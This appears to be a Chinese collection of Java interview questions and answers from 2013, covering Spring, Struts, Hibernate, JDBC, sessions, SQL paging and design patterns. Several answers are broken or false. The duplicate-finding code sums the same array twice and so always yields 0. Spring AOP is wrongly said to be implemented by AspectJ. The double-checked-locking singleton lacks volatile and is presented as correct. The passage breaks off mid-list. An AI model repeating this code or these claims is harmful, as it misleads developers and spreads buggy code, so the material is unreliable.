Spring還有一個核心就是AOP這個就是面向切面編程,可以為某一類對象進行監督和控制(也就是在調用這類對象的具體方法的前后去調用你指定的模塊)從而達到對一個模塊擴充的功能,這些都是通過配置類達到的 ?
?
Spring的目的: ?
就是讓對象與對象(模塊與模塊)之間的關系沒有通過代碼來關聯,都是通過配置類說明管理的(Spring根據這些配置內部通過反射去動態的組裝對象),要記住:Spring是一個容器,凡是在容器里的對象才會有Spring所提供的這些服務和功能 ?
Spring里用的最經典的一個設計模式就是:模板方法模式。(這里我都不介紹了,是一個很常用的設計模式)Spring里的配置是很多的,很難都記住,但是Spring里的精華也無非就是以上的兩點,把以上兩點跟理解了也就基本上掌握Spring。 ?
??
問題16:SpringMVC的工作原理? ?
??
Spring的MVC框架主要由DispatcherServlet、處理器映射、處理器、視圖解析器、視圖組成 ?
??
整個處理過程從一個HTTP請求開始: ?
DispatcherServlet接收到請求后,根據對應配置文件中配置的處理器映射,找到對應的處理器映射項(HandlerMapping),根據配置的映射規則,找到對應的處理器(Handler) ?
調用相應處理器中的處理方法,處理該請求,處理器處理結束后會將一個ModelAndView類型的數據傳給DispatcherServlet,這其中包含了處理結果的視圖和視圖中要使用的數據 ?
DispatcherServlet根據得到的ModelAndView中的視圖對象,找到一個合適的ViewResolver(視圖解析器),根據視圖解析器的配置,DispatcherServlet將視圖要顯示的數據傳給對應的視圖,最后給瀏覽器構造一個HTTP響應 ?
??
DispatcherServlet是整個Spring MVC的核心,它負責接收HTTP請求組織協調Spring MVC的各個組成部分 ?
其主要工作有以下三項: ?
截獲符合特定格式的URL請求 ?
初始化DispatcherServlet上下文對應的WebApplicationContext,并將其與業務層、持久化層的WebApplicationContext建立關聯 ?
初始化Spring MVC的各個組成組件,并裝配到DispatcherServlet中 ?
??
問題17:SendRedirect 和Foward區別 ?
??
1、請求次數不同,這是最本質的區別 ?
在Foward方式下,在執行當前JSP對象或者Servlet對象的過程中去調用目標文件對應的對象,相當于方法調用,把request和response對象作為參數傳遞到目標文件對應的對象,當前文件和目標文件的執行是在用戶發送的一次請求中完成的。 ?
在redirect方式下,用于首先請求了當前文件,當前文件把目標文件的地址返回給了客戶端,客戶端再次發送請求,請求目標文件,實際上是發送了兩次請求。 ?
??
2、傳值方式不同 ?
在Foward方式下,當前文件和目標文件屬于同一次請求,共享request對象,所以可以使用request對象傳值。 ?
在redirect方式下,當前文件和目標文件屬于不同的請求,每次請求會單獨創建request和response對象,這樣就不能使用request對象來傳值。 ?
在MVC模式下,通常在控制器中調用模型得到數據,然后保存到request中,然后Foward到目標文件,目標文件從request中獲取需要的信息。如果使用sendRedirect方式在控制器和視圖之間傳遞信息,需要使用在目標文件之后加上“?名字=值”的方式傳遞。 ?
??
3、客戶端在地址欄中看到的地址不一樣 ?
對于Foward,在地址欄中看到的是第1個文件的名字。 ?
對于sendRedirect,在地址欄中看到的是第2個文件的地址。 ?
有時候會影響目標文件中的相對路徑,例如當前文件是aa文件夾中的a.jsp,目標文件是bb文件夾中的b.jsp,在b.jsp中要訪問一個圖片,使用相對路徑,直接寫face.jpg,這個文件與b.jsp放在一起。如果采用forward方式,地址欄中是a.jsp,這樣系統會在aa文件夾中找face.jpg,這時候就會出錯。 ?
??
問題18:addBatch批量處理數據庫數據時用execute對嗎? ?
??
錯,要使用executeBatch執行批量SQL語句 ?
??
問題19:簡述JavaWeb中Model2及軟件分層架構的好處 ?
??
Model2(JSP+Servlet+JavaBean)具有組件化的優點從而更易于實現對大規模系統的開發和管理,職責劃分清晰。 ?
??
優點: ?
分層式結構究竟其優勢何在?Martin Fowler在《Patterns of Enterprise Application Architecture》一書中給出了答案: ?
1、開發人員可以只關注整個結構中的其中某一層 ?
2、可以很容易的用新的實現來替換原有層次的實現 ?
3、可以降低層與層之間的依賴 ?
4、有利于標準化 ?
5、利于各層邏輯的復用 ?
??
概括來說,分層式設計可以達至如下目的:分散關注、松散耦合、邏輯復用、標準定義 ?
??
缺點: ?
“金無足赤,人無完人”,分層式結構也不可避免具有一些缺陷 ?
1、降低了系統的性能,這是不言而喻的。如果不采用分層式結構,很多業務可以直接造訪數據庫,以此獲取相應的數據,如今卻必須通過中間層來完成 ?
2、有時會導致級聯的修改,這種修改尤其體現在自上而下的方向。如果在表示層中需要增加一個功能,為保證其設計符合分層式結構,可能需要在相應的業務邏輯層和數據訪問層中都增加相應的代碼。 ?
關于第一個缺點,完全可以通過系統的緩存機制來減小對性能的影響。第二個缺點,我想只能通過采用一些設計模式來得到改善吧。 ?
?
問題20:說說Session分話的原理,Session與Cookie的關系及區別 ?
??
服務器上通過Session來分別不同的用戶Session ID ?
任何連接到服務器上的用戶,服務器都會位之分配唯一的一個不會重復的Session ID ?
Session ID是由服務器統一管理的,人為不能控制 ?
??
Session在服務器上2個基本操作: ?
Session.setAttribute(String key,Object obj)以鍵值對的方式存儲數據 ?
Session.getAttribute(String key)根據鍵獲取數據 ?
?
Session是服務器端緩存,Cookie是客戶端緩存 ?
Cookie機制采用的是在客戶端保持狀態的方案,而Session機制采用的是在服務器端保持狀態的方案 ?
??
問題21:Cookie中的值能否包含各種特殊字符及中文字符?如果不能,那應該如何處理? ?
??
當Cookie中包含有等號、空格、分號等特殊字符時,可能會導致數據丟失、或者不能解析的錯誤,一個較好的解決辦法就是:在將Cookie值寫入客戶端瀏覽器之前,首先進行URLEncode編碼,讀取Cookie時,進行URLDecode即可。 ?
??
問題22:JDBC和Hibernate的比較? ?
??
JDBC與Hibernate在性能上相比,JDBC靈活性有優勢。而Hibernate在易學性,易用性上有些優勢。當用到很多復雜的多表聯查和復雜的數據庫操作時,JDBC有優勢。 ?
??
相同點: ?
兩者都是JAVA的數據庫操作中間件 ?
兩者對于數據庫進行直接操作的對象都不是線程安全的,都需要及時關閉 ?
兩者都可以對數據庫的更新操作進行顯式的事務處理 ?
??
不同點: ?
使用的SQL語言不同:JDBC使用的是基于關系型數據庫的標準SQL語言,Hibernate使用的是HQL(Hibernate query language)語言 ?
操作的對象不同:JDBC操作的是數據,將數據通過SQL語句直接傳送到數據庫中執行,Hibernate操作的是持久化對象,由底層持久化對象的數據更新到數據庫中。 ?
數據狀態不同:JDBC操作的數據是“瞬時”的,變量的值無法與數據庫中的值保持一致,而Hibernate操作的數據是可持久的,即持久化對象的數據屬性的值是可以跟數據庫中的值保持一致的。 ?
??
Hibernate與JDBC哪個好?各自的優點和缺點: ?
1、內存消耗:采用JDBC的無疑是最省內存的,Hibernate的次之 ?
2、運行效率:如果JDBC的代碼寫的非常優化,那么JDBC架構運行效率最高,但是實際項目中,這一點幾乎做不到,這需要程序員非常精通JDBC,運用Batch語句,調整PreapredStatement的Batch Size和Fetch Size等參數,以及在必要的情況下采用結果集cache等等。而一般情況下程序員是做不到這一點的。因此Hibernate架構表現出最快的運行效率 ?
3、開發效率:在大的項目,特別是持久層關系映射很復雜的情況下,Hibernate效率高的驚人,JDBC次之 ?
??
延遲加載是罪魁禍首,所謂“成也蕭何,敗也蕭何” ?
有時發現查詢速度很慢,檢查才發現是我沒有啟用延遲加載,造成遞歸的數據都被加載進來了 ?
如果加上了延遲加載,那么許多頁面將無法使用,必須在程序里進行代碼級別的遞歸的延遲加載數據的讀取 ?
??
1 用HQL來寫查詢語句,這是最高效的辦法(推薦) ?
2 用JDBC,脫離了Hibernate范疇,緩存方面和樂觀所方面會出現不一致,而且語句變得繁瑣了(不推薦) ?
3 將前臺要用到的實體,獨立設計成單獨的類,沒有任何關聯,都是單表,用到的只是Hibernate的封裝以及簡單的OR映射 ?
4 在大數據量系統中都會遇到類似的問題,我的解決方法是少用一對多關聯映射或者不用一對多關聯,設置關聯少的數據表,用SQL語句做關聯的查詢,Hibernate中映射的配置 Lazy都為False ?
??
2013年8月9日:微游科技、三六五世界科技 ?
??
問題1:有一個1001個元素的數組a[n],每個元素都在1到1000這些整數中取值,其中只有一個數得復,并且數組中每個元素只能被訪問一次,設計一個算法找出這個數字.說明:每個元素只能被訪問一次,就像執行int v=a[1],v變量和a[1]元素不能再訪問.求高手指教 ?
??
一共有1001個數,其中1000個數是從1到1000取值的(而且取完一遍),另外一個數是重復數,那就用這1001個數的和,與前頭那個1000數的等差數列相減,便得出那個重復數了. ?
for (int num=0,i=0;i<1001;i++){num+=a【i】-i;} ?i從0開始,所以減的是1到1000的和。 ?
??
int[] arr = new int[1001];// 定義一個能夠存儲1001個元素的數組。 ?
? ? ? ? int sum = 0;// 定義一個變量用于存儲arr數組元素里面的所有總和。 ?
? ? ? ? int sum1 = 0;// 定義一個變量用于存儲1-1000的總和。 ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < arr.length; i++) { ?
? ? ? ? ? ? sum += arr[i];// 用for循環,遍歷求出集合中所有元素的總和。 ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < 1001; i++) { ?
? ? ? ? ? ? sum1 += arr[i];// 用for循環,遍歷求出1-1000中所有元素的總和。 ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? int a = sum - sum1;// 假設a為,arr數組里面重復的元素! ?
? ? ? ? System.out.println("數組里面重復的數字為:" + a); ?
??
問題2:瀑布式開發模型和螺旋式開發模型? ?
??
瀑布式模型:可行性研究與計劃、需求分析、設計、開發、測試、維護 ?
螺旋式模型:可行性研究報告、需求說明書、設計文檔、程序、測試報告 ?
??
瀑布式模型要做完上一步才可以進行下一步,現已淘汰 ?
??
螺旋模型(Spiral Model)采用一種周期性的方法來進行系統開發,這會導致開發出眾多的中間版本 ?
使用它,項目經理在早期就能夠為客戶實證某些概念。該模型是快速原型法,以進化的開發方式為中心,在每個項目階段使用瀑布模型法。 ?
這種模型的每一個周期都包括需求定義、風險分析、工程實現和評審4個階段,由這4個階段進行迭代。軟件開發過程每迭代一次,軟件開發又前進一個層次。 ?
??
問題3:Spring底層動態代理失效,怎么實現切面? ?
??
Spring默認使用JDK動態代理(Proxy),但JDK動態代理是針對接口做代理的。如果類不是實現的接口的時候,就會使用cglib代理。當然,你也可以在配置文件里指定使用cglib ?
??
JDK代理:只能代理實現了接口的類 ?
cglib代理:不僅可以對實現接口的類進行代理,同時也可以對類本身生成代理(主要是通過繼承這個類來生成的,所以不要將要代理的類設成final) ?
??
問題4:什么是動態代理? ?
??
動態代理可以提供對另一個對象的訪問,同時隱藏實際對象的具體事實 ?
代理一般會實現它所表示的實際對象的接口 ?
代理可以訪問實際對象,但是延遲實現實際對象的部分功能,實際對象實現系統的實際功能,代理對象對客戶隱藏了實際對象。客戶不知道它是與代理打交道還是與實際對象打交道 ?
??
問題5:Struts2中的Action為什么是多例的? ?
??
Struts2的Action是多實例的并非單例,也就是每次請求產生一個Action的對象 ?
??
原因是: ?
Struts2的Action中包含數據 ?
例如你在頁面填寫的數據就會包含在Action的成員變量里面,如果Action是單實例的話,這些數據在多線程的環境下就會相互影響,例如造成別人填寫的數據被你看到了 ?
??
而Struts1的Action是單實例的 ?
因為它的數據保存在Form類中,多線程環境下,Action只負責處理一些邏輯,并沒有數據,也就是大家把它當做一個工具使用 ?
?
同樣Servlet也是單實例的 ?
??
問題6:Struts1和Struts2的區別? ?
??
Struts1的前端控制器是一個Servlet,名稱為ActionServlet,Struts2的前端控制器是一個filter,在Struts2.0中叫FilterDispatcher,在Struts2.1中叫StrutsPrepareAndExecuteFilter ?
Struts1的action需要繼承Action類,Struts2的action可以不繼承任何類;Struts1對同一個路徑的所有請求共享一個Action實例,Struts2對同一個路徑的每個請求分別使用一個獨立Action實例對象,所有對于Struts2的Action不用考慮線程安全問題 ?
在Struts1中使用formbean封裝請求參數,在Struts2中直接使用action的屬性來封裝請求參數 ?
Struts1 整合了JSTL,因此使用JSTL/EL。這種EL有基本對象圖遍歷,但是對集合和索引屬性的支持很弱。 ?
Struts2可以使用JSTL,但是也支持一個更強大和靈活的表達式語言--Object Graph Notation Language (OGNL)對象導航語言 ?
Struts 1使用標準JSP機制把對象綁定到頁面中來訪問 ?
Struts 2 使用ValueStack值棧技術,使taglib能夠訪問值而不需要把你的頁面(view)和對象綁定起來 ?
Struts 1 ActionForm 屬性通常都是String類型。Struts1使用Commons-Beanutils進行類型轉換 ?
Struts2 使用OGNL進行類型轉換,提供基本和常用對象的轉換器 ?
Struts 1支持在ActionForm的validate方法中手動校驗,或者通過Commons Validator的擴展來校驗。 ??
Struts2支持通過validate方法和XWork校驗框架來進行校驗。 ?
執行流程 ?
Struts1 ?
JSP發起HTTPRequest請求Servlet捕獲struts.xmlnamespace+ActionNameAction填充表單setXxx()action.execute()“success”Result設置Request屬性跳轉目標頁 ?
Struts2 ?
Action(JSP發起HTTPRequest請求,被過濾器捕獲)FilterDispatcherstruts.xmlnamespace+ActionNamenew Action填充表單setXxx()action.execute()“success”Result設置Request屬性跳轉目標頁 ?
??
問題7:MySQL和Oracle的分頁查詢語句? ?
??
MySQL: ?
第一個參數指定返回的第一行在所有數據中的位置,從0開始(注意不是1),第二個參數指定最多返回行數 ?
SELECT * FROM table LIMIT 5,10; #返回第6-15行數據 ? ?
SELECT * FROM table LIMIT 5; ? ?#返回前5行 ? ?
SELECT * FROM table LIMIT 0,5; ?#返回前5行 ? ?
??
Oracle: ?
第1種: ?
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM TABLE_NAME) A ??
WHERE ROWNUM <= 40 ?
) ?
WHERE RN >= 21 ?
??
第2種: ?
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM TABLE_NAME) A ??
) ?
WHERE RN BETWEEN 21 AND 40 ?
??
對比這兩種寫法,絕大多數的情況下,第一個查詢的效率比第二個高得多。 ?
??
這是由于CBO優化模式下,Oracle可以將外層的查詢條件推到內層查詢中,以提高內層查詢的執行效率。對于第一個查詢語句,第二層的查詢條件WHERE ROWNUM <= 40就可以被Oracle推入到內層查詢中,這樣Oracle查詢的結果一旦超過了ROWNUM限制條件,就終止查詢將結果返回了 ?
?
而第二個查詢語句,由于查詢條件BETWEEN 21 AND 40是存在于查詢的第三層,而Oracle無法將第三層的查詢條件推到最內層(即使推到最內層也沒有意義,因為最內層查詢不知道RN代表什么) ?
因此,對于第二個查詢語句,Oracle最內層返回給中間層的是所有滿足條件的數據,而中間層返回給最外層的也是所有數據。數據的過濾在最外層完成,顯然這個效率要比第一個查詢低得多 ?
?
問題8:部署在不同Tomcat的兩個項目間如何通信? ?
??
使用WebService技術實現 ?
使用Socket技術實現 ?
使用Http請求技術實現 ?
??
問題9:請你談談SSH整合? ?
??
Struts(表示層)+Spring(業務層)+Hibernate(持久層) ?
??
Struts: ?
Struts是一個表示層框架,主要作用是界面展示,接收請求,分發請求 ?
在MVC框架中,Struts屬于VC層次,負責界面表現,負責MVC關系的分發 ?
?
View:沿用 JSP,HTTP,Form,Tag,Resourse ?
Controller:ActionServlet,struts-config.xml,Action ?
Hibernate: ?
Hibernate是一個持久層框架,它只負責與關系數據庫的操作 ?
??
Spring: ?
Spring是一個業務層框架,是一個整合的框架,能夠很好地黏合表示層與持久層 ?
??
問題10:Struts2的數據都在ValueStack中,怎么保證數據的安全性?ValueStack生命周期多長? ?
??
因為ValueStack在ActionContext中,而ActionContext在ThreadLocal中,所以能保證數據的安全性 ?
ValueStack的生命周期是一次請求,因為ActionContext把ValueStack放在Request域里面 ?
??
問題11:OGNL有什么優點? ?
??
可以訪問ValueStack和AcionContext ?
可以操作集合對象,很方便的構建各種集合 ?
可以在 struts.xml訪問action定義的屬性 ?
可以調用對象的方法 ?
JSTL/EL只能在JSP中使用,而OGNL可以在更多的View使用 ?
??
問題12:為什么使用Spring?有什么優點? ?
??
降低了組件之間的耦合性 ,實現了軟件各層之間的解耦 ?
可以使用容器提供的眾多服務,如事務管理,消息服務等 ?
容器提供單例模式支持 ?
容器提供了AOP技術,利用它很容易實現如權限攔截,運行期監控等功能 ?
容器提供了眾多的輔助類,能加快應用的開發 ?
Spring對于主流的應用框架提供了集成支持,如Hibernate,JPA,Struts等 ?
Spring屬于低侵入式設計,代碼的污染極低 ?
獨立于各種應用服務器 ?
Spring的DI機制降低了業務對象替換的復雜性(依賴注入) ?
10、Spring的高度開放性,并不強制應用完全依賴于Spring,開發者可以自由選擇Spring的部分或全部 ?
??
2013年8月13日:信諾網利 ?
??
問題1:Spring的AOP是用什么來實現的? ?
??
Spring AOP就是用AspectJ來實現的,是依賴關系 ?
AspectJ是動態代理的一種實現,而Spring默認使用的就是AspectJ來實現的動態代理,Spring自己的AOP就是使用AspectJ來實現的 ?
?
AOP:Aspect Oriented Programming(面向切面編程) ?
利用動態代理實現面向切面編程 ?
Spring實現動態代理配置是有兩種配置文件: ?
XML文件方式 ?
Annotation方式,使用AspectJ類庫實現的 ?
AspectJ類庫,AspectJ是一個專門用來實現動態代理(AOP編程)的類庫,AspectJ是面向切面編程的框架,Spring使用就是這個類庫實現動態代理的 ?
AspectJ的專業術語: ?
JoinPoint連接點(切入點) ?
PointCut切入點,當需要定義一個切入點時,則需要使用這個 ?
Aspect切面 ?
Advice切入點的邏輯 ?
Target被代理對象 ?
Weave織入 ?
?
問題2:單例模式 ?
??
單例模式是設計模式中最簡單的形式之一 ?
這一模式的目的是使得類的一個對象成為系統中的唯一實例,要實現這一點,可以從客戶端對其進行實例化開始 ?
因此需要用一種只允許生成對象類的唯一實例的機制,“阻止”所有想要生成對象的訪問。 ?
使用工廠方法來限制實例化過程,這個方法應該是靜態方法(類方法),因為讓類的實例去生成另一個唯一實例毫無意義 ?
??
// 第一種形式: 也是常用的形式。 ?
public class Singleton { ?
? ? private static Singleton instance = null; ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? public static Singleton getInstance() { ?
? ? ? ? if (instance == null) { ?
? ? ? ? ? ? instance = new Singleton(); ?
? ? ? ? } ?
? ? ? ? return instance; ?
? ? } ?
} ?
??
// 第二種形式: ?
public class Singleton { ?
? ? // 在自己內部定義自己的一個實例,只供內部調用 ?
? ? private static Singleton instance = new Singleton(); ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? // 這里提供了一個供外部訪問本class的靜態方法,可以直接訪問 ?
? ? public static Singleton getInstance() { ?
? ? ? ? return instance; ?
? ? } ?
} ?
??
// 第三種形式: 雙重鎖的形式。 ?
public class Singleton { ?
? ? private static Singleton instance = null; ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? public static Singleton getInstance() { ?
? ? ? ? if (instance == null) { ?
? ? ? ? ? ? synchronized (Singleton.class) { ?
? ? ? ? ? ? ? ? if (null == instance) { ?
? ? ? ? ? ? ? ? ? ? instance = new Singleton(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? ? ? return instance; ?
? ? } ?
}// 這個模式將同步內容下方到if內部,提高了執行的效率,不必每次獲取對象時都進行同步,只有第一次才同步,創建了以后就沒必要了。 ?
??
問題3:PrepareStatement和Statement的區別? ?
??
Statement用于執行靜態SQL語句,在執行時,必須指定一個事先準備好的SQL語句,也就是說SQL語句是靜態的 ?
PrepareStatement是預編譯的SQL語句對象,SQL語句被預編譯并保存在對象中。被封裝的SQL語句代表某一類操作,語句中可以包含動態參數“?”,在執行時可以為“?”動態設置參數值 ?
使用PrepareStatement對象執行SQL時,SQL被數據庫進行解析和編譯,然后被放到命令緩沖區,每當執行同一個PrepareStatement對象時,它就會被解析一次,但不會被再次編譯。在緩沖區可以發現預編譯的命令,并且可以重用。所以PrepareStatement可以減少編譯次數提高數據庫性能 ?
??
1、創建時的區別: ?
? ?Statement stm=con.createStatement(); ??
? ?PreparedStatement pstm=con.prepareStatement(SQL); ??
執行的時候: ?
? ? stm.execute(SQL); ??
? ? pstm.execute(); ??
2、pstm一旦綁定了SQL,此pstm就不能執行其他的SQL,即只能執行一條SQL命令 ?
stm可以執行多條SQL命令 ?
3、 對于執行同構的SQL(只有值不同,其他結構都相同),用pstm的執行效率比較高,對于異構的SQL語句,Statement的執行效率要高 ??
4、當需要外部變量的時候,pstm的執行效率更高 ?
??
問題4:團隊項目開發中,功能模塊完成后如何和組員集成(整合)測試? ?
??
先進行單元測試,單元測試無誤后再進行集成測試 ?
??
例子:Junit+Ant ?
??
這個是屬于軟件測試的范疇,由測試人員做的,分為功能測試與性能測試 ?
??
2013年8月14日:21CN世紀龍信息、凱通軟件 ?
??
問題1:解釋一下什么是哈希表? ?
??
散列表(Hash table,也叫哈希表),是根據關鍵碼值(Key value)而直接進行訪問的數據結構 ?
也就是說,它通過把關鍵碼值映射到表中一個位置來訪問記錄,以加快查找的速度 ?
這個映射函數叫做散列函數,存放記錄的數組叫做散列表 ?
??
問題2:線程的生命周期 ?
??
新建就緒(阻塞)運行死亡 ?
??
新建:其中當用new創建完一個線程對象后,該線程處于新建狀態 ?
就緒:當線程對象調用start()后,該線程處于就緒狀態 ?
運行:如果處于就緒狀態的線程獲得CPU時間片,開始執行run方法的線程執行體,該線程處于運行狀態 ?
阻塞:如果線程調用了sleep()或者調用了一個阻塞式IO方法等,該線程處于阻塞狀態 ?
死亡:如果線程的run()執行完成或者拋出一個未捕獲的異常等原因,該線程處于死亡狀態 ?
??
問題3:JSP頁面如何實現自定義標簽? ?
??
首先新建繼承了SimpleTagSupport類的自定標簽類,重寫doTag方法 ?
然后新建tld文件,定義標簽的屬性及格式 ?
JSP頁面引入標簽 ?
注意要放置在WEB-INF目錄下才可以解析 ?
自定義標簽采用<myTag:checkURL startURL="網址" goURL="網址" ></myTag:checkURL>格式 ?
??
問題4:JSP頁面如何實現自定義函數? ?
??
首先新建自定函數類,定義public static boolean方法 ?
然后新建tld文件,定義標簽的屬性及格式 ?
JSP頁面引入標簽 ?
注意要放置在WEB-INF目錄下才可以解析 ?
自定義函數采用${myfn:contains(字符串,字符串)}格式 ?
??
問題5:你所了解的Apache的commons項目所包含的工具? ?
??
BeanUtils:提供了對于JavaBean進行各種操作,克隆對象、屬性等等 ?
Betwixt:XML與Java對象之間相互轉換 ?
Codec:處理常用的編碼方法的工具類包 例如DES、SHA1、MD5、Base64等 ?
Collections:Java集合框架操作 ?
Compress:Java提供文件打包 壓縮類庫 ?
Configuration:一個Java應用程序的配置管理類庫 ?
DBCP:提供數據庫連接池服務 ?
DbUtils:提供對JDBC的操作封裝來簡化數據查詢和記錄讀取操作 ?
Email:Java發送郵件對JavaMail的封裝 ?
FileUpload:提供文件上傳功能 ?
HttpClient:提供HTTP客戶端與服務器的各種通訊操作. 現在已改成HttpComponents ?
IO:IO工具的封裝 ?
Lang:Java基本對象方法的工具類包,如:StringUtils,ArrayUtils等等 ?
Logging:提供的是一個Java 的日志接口 ?
Validator:提供了客戶端和服務器端的數據驗證框架 ?
??
問題6、如何對SQL語句進行優化? ?
??
盡可能合理運用索引 ?
少用“*”,比如select * from tableName,只查詢自己需要的數據 ?
使用LIKE ‘%關鍵字%’模糊查詢時,由于關鍵字前面用了“%”符號,因此該查詢必定會進行全表查詢,盡量不要在關鍵字前加“%”符號 ?
盡可能減少子查詢的層數 ?
盡可能在子查詢中進行數據篩選 ?
盡量使用數字型字段,一部分開發人員和數據庫管理人員喜歡把包含數值信息的字段設計為字符型,這會降低查詢和連接的性能,并會增加存儲開銷。這是因為引擎在處理查詢和連接會逐個比較字符串中每一個字符,而對于數字型而言只需要比較一次就夠了。 ?
??
2013年8月15日: ?
??
問題1、你所了解的測試技術,并說一下你覺得測試與開發之間的關系 ?
??
1、按是否查看程序內部結構分為: ?
黑盒測試:只關心輸入和輸出的結果 ?
白盒測試:去研究里面的源代碼和程序結構 ?
??
2、按是否運行程序分為: ?
靜態測試:是指不實際運行被測軟件,而只是靜態地檢查程序代碼、界面或文檔可能 ?
動態測試:是指實際運行被測程序,輸入相應的測試數據,檢查輸出結果和預期結果是否相符的過程 ?
??
3、按階段劃分: ?
單元測試:是指對軟件中的最小可測試單元進行檢查和驗證 ?
集成測試:是單元測試的下一階段,是指將通過測試的單元模塊組裝成系統或子系統,再進行測試,重點測試不同模塊的接口部門。集成測試就是用來檢查各個單元模塊結合到一起能否協同配合,正常運行 ?
系統測試:指的是將整個軟件系統看做一個整體進行測試,包括對功能、性能,以及軟件所運行的軟硬件環境進行測試。系統測試的主要依據是《系統需求規格說明書》文檔 ?
驗收測試:指的是在系統測試的后期,以用戶測試為主,或有測試人員等質量保障人員共同參與的測試,它也是軟件正式交給用戶使用的最后一道工序。驗收測試又分為a測試和beta測試,其中a測試指的是由用戶、 測試人員、開發人員等共同參與的內部測試,而beta測試指的是內測后的公測,即完全交給最終用戶測試 ?
??
軟件開發是生產制造軟件;軟件測試是驗證開發出來軟件的質量 ?
類比傳統加工制造企業,軟件開發人員就是生產加工的工人,軟件測試人員就是質檢人員 ?
?
開發與測試的關系應該是: ?
沒有軟件開發就沒有測試,軟件開發提供軟件測試的對象 ?
軟件開發和軟件測試都是軟件生命周期中的重要組成部分 ?
軟件開發和軟件測試都是軟件過程中的重要活動 ?
軟件測試是保證軟件開發產物質量的重要手段 ?
??
問題2、Oracle里varchar2的最大長度? ?
??
字段類型:Oracle SQL varchar2的最大支持長度為4000個字節(bytes) ?
變量類型:Oracle PLSQL varchar2最大支持長度為32767個字節(緩沖區) ?
??
問題3、如何判斷Session過期? ?
??
request.getSession(boolean)這個方法里面傳了一個boolean值,這個值如果是true,那么如果當前的Request的Session不可用,那么就創建新的會話,如果存在就返回當前的會話。如果參數是false,那么在Request的當前會話不存在的時候就返回null ?
?
if(request.getSession(false)==null){ ?
System.out.println("Session has been invalidated!"); ?
} ?
else{ ?
System.out.println("Session is active!"); ?
} ?
??
問題4、Oracle的行列轉換? ?
??
姓名 科目 分數 ?
--- --- ---- ?
太上 語文 80 ?
太上 數學 70 ?
太上 英語 60 ?
喚魔 語文 90 ?
喚魔 數學 80 ?
喚魔 英語 100 ?
轉換為: ?
姓名 語文 數學 英語 ?
太上 ?80 ?70 ?60 ?
喚魔 ?90 ?80 ?100 ?
??
使用Oracle的Decode函數,如果“科目”是“語文”,返回對應科目的分數的綜合,0是缺省值 ?
??
語句如下: ?
select 姓名, ??
sum(decode(科目,'語文', 分數,0)) "語文", ?
sum(decode(科目,'數學', 分數,0)) "數學", ?
sum(decode(科目,'英語', 分數,0)) "英語" ?
from table ?
group by 姓名; ?
??
2013年8月16日: ?
??
問題1:Hibernate框架下如何實現分頁? ?
??
Hibernate有自帶分頁功能 ?
Query.setFirstResult() ?//從哪一條條記錄開始 ?
Query.setMaxResults() ? //希望獲得的記錄數 ??
??
問題2:AJAX的優缺點? ?
??
優點: ?
局部刷新頁面,減少用戶心理和實際的等待時間,帶來更好的用戶體驗 ?
使用異步方式與服務器通信,不需要打斷用戶的操作,具有更加迅速的響應能力 ?
減輕服務器的負擔,按需取數據,最大程度的減少冗余請求 ?
基于XML標準化,并被廣泛支持,不需安裝插件等 ?
??
缺點: ?
AJAX大量的使用了JavaScript和AJAX引擎,這些取決于瀏覽器的支持。在編寫的時候考慮對瀏覽器的兼容性IE5.0及以上、Mozilla1.0、NetScape7及以上版本才支持,Mozilla雖然也支持AJAX,但是提供XMLHttpRequest的方式不一樣 ?
AJAX更新頁面內容的時候并沒有刷新整個頁面,因此,網頁的后退功能是失效的;有的用戶還經常搞不清楚現在的數據是舊的還是已經更新過的這個就需要在明顯位置提醒用戶“數據已更新” ?
對流媒體還有移動設備的支持不太好等,比如手機還有平板電腦 ?
??
問題3、Hibernate里配置生成主鍵的方式有哪些? ?
??
Increment: ?
由Hibernate從數據庫中取出主鍵的最大值(每個Session只取1次),以該值為基礎,每次增量為1,在內存中生成主鍵,不依賴于底層的數據庫,因此可以跨數據庫 ?
特點:跨數據庫,不適合多進程并發更新數據庫,適合單一進程訪問數據庫,不能用于集群環境 ?
Hilo: ?
hilo(高低位方式high low)是Hibernate中最常用的一種生成方式,需要一張額外的表保存hi的值。保存hi值的表至少有一條記錄(只與第一條記錄有關),否則會出現錯誤。可以跨數據庫 ?
特點:跨數據庫,hilo算法生成的標志只能在一個數據庫中保證唯一 ?
Sehilo: ?
與hilo類似,通過hi/lo算法實現的主鍵生成機制,只是將hilo中的數據表換成了序列Sequence,需要數據庫中先創建Sequence,適用于支持Sequence的數據庫,如Oracle ?
特點:與hilo類似,只能在支持序列的數據庫中使用 ?
Identity: ?
identity由底層數據庫生成標識符。identity是由數據庫自己生成的,但這個主鍵必須設置為自增長,使用identity的前提條件是底層數據庫支持自動增長字段類型,如DB2、SQL Server、MySQL、Sybase和HypersonicSQL等,Oracle這類沒有自增字段的則不支持 ?
特點:只能用在支持自動增長的字段數據庫中使用,如MySQL ?
Sequence: ?
采用數據庫提供的Sequence機制生成主鍵,需要數據庫支持Sequence。如ORACLE、DB、SAP DB、PostgerSQL、McKoi中的SequenceMySQL這種不支持Sequence的數據庫則不行(可以使用identity) ?
特點:只能在支持序列的數據庫中使用,如Oracle ?
Native: ?
native由Hibernate根據使用的數據庫自行判斷采用identity、hilo、Sequence其中一種作為主鍵生成方式,靈活性很強如果能支持identity則使用identity,如果支持Sequence則使用Sequence ?
特點:根據數據庫自動選擇,項目中如果用到多個數據庫時,可以使用這種方式,使用時需要設置表的自增字段或建立序列,建立表等 ?
Uuid: ?
UUID:Universally Unique Identifier,是指在一臺機器上生成的數字,它保證對在同一時空中的所有機器都是唯一的。按照開放軟件基金會(OSF)制定的標準計算,用到了以太網卡地址、納秒級時間、芯片ID碼和許多可能的數字 ?
特點:uuid長度大,占用空間大,跨數據庫,不用訪問數據庫就生成主鍵值,所以效率高且能保證唯一性,移植非常方便,推薦使用 ?
Assigned: ?
